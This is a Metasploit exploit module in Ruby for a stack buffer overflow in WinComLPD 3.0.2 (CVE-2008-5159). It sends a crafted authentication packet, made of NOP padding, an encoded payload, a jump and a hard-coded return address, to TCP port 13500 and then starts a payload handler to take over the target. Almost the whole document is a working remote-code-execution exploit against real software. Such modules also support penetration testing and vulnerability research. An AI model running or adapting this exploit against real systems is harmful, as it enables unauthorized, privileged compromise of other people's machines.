WinComLPD <= 3.0.2 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WinComLPD <= 3.0.2 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in WinComLPD <= 3.0.2.  
By sending an overly long authentication packet to the remote  
adminstration service, an attacker may be able to execute arbitrary  
code.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2008-5159'],  
['OSVDB', '42861'],  
['BID', '27614'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x0a",  
'StackAdjustment' => -3500,   
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],  
],  
'Privileged' => true,  
'DisclosureDate' => 'Feb 4 2008',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(13500)], self)  
end  
  
def exploit  
connect  
  
# 'net start lpdservice' after you migrate!  
sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"  
sploit << make_nops(872 - payload.encoded.length)  
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)  
sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)  
sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)  
  
print_status("Trying target #{target.name}...")  
  
sock.puts(sploit)  
sleep(5)  
  
handler  
disconnect  
end  
end  
`